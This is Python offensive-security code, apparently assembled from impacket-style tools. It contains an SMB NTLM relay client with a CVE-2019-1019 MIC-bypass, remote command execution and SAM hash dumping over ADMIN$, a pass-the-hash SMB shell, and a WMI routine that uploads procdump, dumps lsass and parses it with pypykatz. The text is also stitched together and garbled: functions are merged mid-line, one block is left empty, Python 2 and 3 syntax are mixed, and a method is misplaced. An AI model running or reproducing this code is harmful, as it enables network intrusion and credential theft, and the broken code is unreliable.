authData = authenticateMessageBlob
signingKey = None
if self.serverConfig.remove_target:
# Trying to exploit CVE-2019-1019
# Discovery and Implementation by @simakov_marina and @YaronZi
respToken2 = SPNEGO_NegTokenResp(authData)
authenticateMessageBlob = respToken2['ResponseToken']
errorCode, signingKey = self.netlogonSessionKey(authData)
# Recalculate MIC
res = NTLMAuthChallengeResponse()
res.fromString(authenticateMessageBlob)
newAuthBlob = authenticateMessageBlob[
0:0x48] + b'\x00' * 16 + authenticateMessageBlob[0x58:]
relay_MIC = hmac_md5(
signingKey,
self.negotiateMessage + self.challengeMessage + newAuthBlob)
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob[
0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
authData = respToken2.getData()
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
if signingKey:
logging.info("Enabling session signing")
self.session._SMBConnection.set_session_key(signingKey)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(
authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
def isAdmin(self):
rpctransport = SMBTransport(self.session.getRemoteHost(),
445,
r'\svcctl',
smb_connection=self.session)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(
dce, '{}\x00'.format(self.target.hostname),
'ServicesActive\x00', 0xF003F)
return "TRUE"
except scmr.DCERPCException as e:
pass
return "FALSE"
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(
SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
logging.info(
'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
% self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,
self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer(
).get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(
flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something went wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(
self.config.command)
logging.info("Executed specified command on host: %s",
self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding,
'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost() +
'_samhashes')
logging.info("Done dumping SAM hashes for host: %s",
self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
class MiniImpacketShell(cmd.Cmd):
def __init__(self, smbClient, tcpShell=None):
#If the tcpShell parameter is passed (used in ntlmrelayx),
# all input and output is redirected to a tcp socket
# instead of to stdin / stdout
if tcpShell is not None:
cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
sys.stdout = tcpShell.stdout
sys.stdin = tcpShell.stdin
sys.stderr = tcpShell.stdout
self.use_rawinput = False
self.shell = tcpShell
else:
cmd.Cmd.__init__(self)
self.shell = None
self.prompt = '# '
self.smb = smbClient
self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
self.tid = None
self.intro = 'Type help for list of commands'
self.pwd = ''
self.share = None
self.loggedIn = True
self.last_output = None
self.completion = []
def emptyline(self):
pass
def precmd(self, line):
# switch to unicode
return line
def onecmd(self,s):
retVal = False
try:
retVal = cmd.Cmd.onecmd(self,s)
except Exception as e:
LOG.error(e)
LOG.debug('Exception info', exc_info=True)
return retVal
def do_exit(self,line):
if self.shell is not None:
self.shell.close()
return True
def do_shell(self, line):
output = os.popen(line).read()
print(output)
self.last_output = output
def do_help(self,line):
print("""
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
""")
def do_password(self, line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
from getpass import getpass
newPassword = getpass("New Password:"******"SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
LOG.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
LOG.info("SMBv2.1 dialect used")
else:
LOG.info("SMBv3.0 dialect used")
self.share = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_login(self,line):
if self.smb is None:
LOG.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:"******"GUEST Session Granted")
else:
LOG.info("USER Session Granted")
self.loggedIn = True
def do_kerberos_login(self,line):
if self.smb is None:
LOG.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if domain == '':
LOG.error("Domain must be specified for Kerberos login")
return
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:"******"GUEST Session Granted")
else:
LOG.info("USER Session Granted")
self.loggedIn = True
def do_login_hash(self,line):
if self.smb is None:
LOG.error("No connection open")
return
l = line.split(' ')
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
hashes = l[1]
else:
LOG.error("Hashes needed. Format is lmhash:nthash")
return
if username.find('/') > 0:
domain, username = username.split('/')
lmhash, nthash = hashes.split(':')
self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
self.username = username
self.lmhash = lmhash
self.nthash = nthash
if self.smb.isGuestSession() > 0:
LOG.info("GUEST Session Granted")
else:
LOG.info("USER Session Granted")
self.loggedIn = True
def do_logoff(self, line):
if self.smb is None:
LOG.error("No connection open")
return
self.smb.logoff()
del self.smb
self.share = None
self.smb = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_info(self, line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
def do_who(self, line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
session['sesi10_idle_time']))
def do_shares(self, line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
resp = self.smb.listShares()
for i in range(len(resp)):
print(resp[i]['shi1_netname'][:-1])
def do_use(self,line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
self.share = line
self.tid = self.smb.connectTree(line)
self.pwd = '\\'
self.do_ls('', False)
def complete_cd(self, text, line, begidx, endidx):
return self.complete_get(text, line, begidx, endidx, include = 2)
def do_cd(self, line):
if self.tid is None:
LOG.error("No share selected")
return
p = line.replace('/','\\')
oldpwd = self.pwd
if p[0] == '\\':
self.pwd = line
else:
self.pwd = ntpath.join(self.pwd, line)
self.pwd = ntpath.normpath(self.pwd)
# Let's try to open the directory to see if it's valid
try:
fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
self.smb.closeFile(self.tid,fid)
except SessionError:
self.pwd = oldpwd
raise
def do_lcd(self, s):
print(s)
if s == '':
print(os.getcwd())
else:
os.chdir(s)
def do_pwd(self,line):
if self.loggedIn is False:
LOG.error("Not logged in")
return
print(self.pwd)
def do_ls(self, wildcard, display = True):
if self.loggedIn is False:
LOG.error("Not logged in")
return
if self.tid is None:
LOG.error("No share selected")
return
if wildcard == '':
pwd = ntpath.join(self.pwd,'*')
else:
pwd = ntpath.join(self.pwd, wildcard)
self.completion = []
pwd = pwd.replace('/','\\')
pwd = ntpath.normpath(pwd)
for f in self.smb.listPath(self.share, pwd):
if display is True:
print("%crw-rw-rw- %10d %s %s" % (
'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
f.get_longname()))
self.completion.append((f.get_longname(), f.is_directory()))
def do_rm(self, filename):
if self.tid is None:
LOG.error("No share selected")
return
f = ntpath.join(self.pwd, filename)
file = f.replace('/','\\')
self.smb.deleteFile(self.share, file)
def do_mkdir(self, path):
if self.tid is None:
LOG.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = p.replace('/','\\')
self.smb.createDirectory(self.share,pathname)
def do_rmdir(self, path):
if self.tid is None:
LOG.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = p.replace('/','\\')
self.smb.deleteDirectory(self.share, pathname)
def do_put(self, pathname):
if self.tid is None:
LOG.error("No share selected")
return
src_path = pathname
dst_name = os.path.basename(src_path)
fh = open(pathname, 'rb')
f = ntpath.join(self.pwd,dst_name)
finalpath = f.replace('/','\\')
self.smb.putFile(self.share, finalpath, fh.read)
fh.close()
def complete_get(self, text, line, begidx, endidx, include = 1):
# include means
# 1 just files
# 2 just directories
p = line.replace('/','\\')
if p.find('\\') < 0:
items = []
if include == 1:
mask = 0
else:
mask = 0x010
for i in self.completion:
if i[1] == mask:
items.append(i[0])
if text:
return [
item for item in items
if item.upper().startswith(text.upper())
]
else:
return items
def do_mget(self, mask):
if mask == '':
LOG.error("A mask must be provided")
return
if self.tid is None:
LOG.error("No share selected")
return
self.do_ls(mask,display=False)
if len(self.completion) == 0:
LOG.error("No files found matching the provided mask")
return
for file_tuple in self.completion:
if file_tuple[1] == 0:
filename = file_tuple[0]
filename = filename.replace('/', '\\')
fh = open(ntpath.basename(filename), 'wb')
pathname = ntpath.join(self.pwd, filename)
try:
LOG.info("Downloading %s" % (filename))
self.smb.getFile(self.share, pathname, fh.write)
except:
fh.close()
os.remove(filename)
raise
fh.close()
def do_get(self, filename):
if self.tid is None:
LOG.error("No share selected")
return
filename = filename.replace('/','\\')
fh = open(ntpath.basename(filename),'wb')
pathname = ntpath.join(self.pwd,filename)
try:
self.smb.getFile(self.share, pathname, fh.write)
except:
fh.close()
os.remove(filename)
raise
fh.close()
def do_cat(self, filename):
if self.tid is None:
LOG.error("No share selected")
return
filename = filename.replace('/','\\')
fh = BytesIO()
pathname = ntpath.join(self.pwd,filename)
try:
self.smb.getFile(self.share, pathname, fh.write)
except:
raise
output = fh.getvalue()
encoding = "" # chardet.detect(output)["encoding"]
error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
if encoding:
try:
print(output.decode(encoding))
except:
print(error_msg)
finally:
fh.close()
else:
print(error_msg)
fh.close()
def do_close(self, line):
self.do_logoff(line)
def do_list_snapshots(self, line):
l = line.split(' ')
if len(l) > 0:
pathName= l[0].replace('/','\\')
# Relative or absolute path?
if pathName.startswith('\\') is not True:
pathName = ntpath.join(self.pwd, pathName)
snapshotList = self.smb.listSnapshots(self.tid, pathName)
if not snapshotList:
print("No snapshots found")
return
for timestamp in snapshotList:
print(timestamp)
def do_mount(self, line):
l = line.split(' ')
if len(l) > 1:
target = l[0].replace('/','\\')
pathName= l[1].replace('/','\\')
# Relative or absolute path?
if pathName.startswith('\\') is not True:
pathName = ntpath.join(self.pwd, pathName)
self.smb.createMountPoint(self.tid, pathName, target)
def do_umount(self, mountpoint):
mountpoint = mountpoint.replace('/','\\')
# Relative or absolute path?
if mountpoint.startswith('\\') is not True:
mountpoint = ntpath.join(self.pwd, mountpoint)
mountPath = ntpath.join(self.pwd, mountpoint)
self.smb.removeMountPoint(self.tid, mountPath)
def do_EOF(self, line):
print('Bye!\n')
return True
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self,
serverConfig,
target,
targetPort=445,
extendedSecurity=True):
ProtocolClient.__init__(self, serverConfig, target, targetPort,
extendedSecurity)
self.extendedSecurity = extendedSecurity
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.keepAliveHits = 1
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits += 1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
packet = self.session.negotiateSessionWildcard(
None,
self.targetHost,
self.targetHost,
self.targetPort,
60,
self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2,
data=data)
if packet[0] == '\xfe':
smbClient = MYSMB3(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
pass
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
existingConnection=smbClient,
manualNegotiate=True)
return True
def setUid(self, uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negotiate = NTLMAuthNegotiate()
negotiate.fromString(negotiateMessage)
#Remove the signing flag
negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(
flags=smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters[
'SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters'][
'SessionKey'] = v1client._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(
sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(
sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
sessionSetup['Data']['PrimaryDomain'] = str(
sessionSetupData['PrimaryDomain'])
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B',
str(authenticateMessageBlob)
[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = str(authenticateMessageBlob)
authData = respToken2.getData()
else:
authData = str(authenticateMessageBlob)
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(
authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
## todo:
## Check OS 32 bit or 64 bit ##
#cmmand = "wmic os get OSArchitecture"
### This is super hacky ###
self.shell.do_put(PROC_PATH)
command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr)
self.shell.onecmd(command)
self.shell.do_get("lsass.%s.dmp"%(addr))
self.shell.onecmd("del procdump64.exe")
command = "del lsass.%s.dmp" % (addr)
self.shell.onecmd(command)
### but it still works ###
#raw_input("Press ENTER to continue")
print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read())
if True:
pass
elif self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
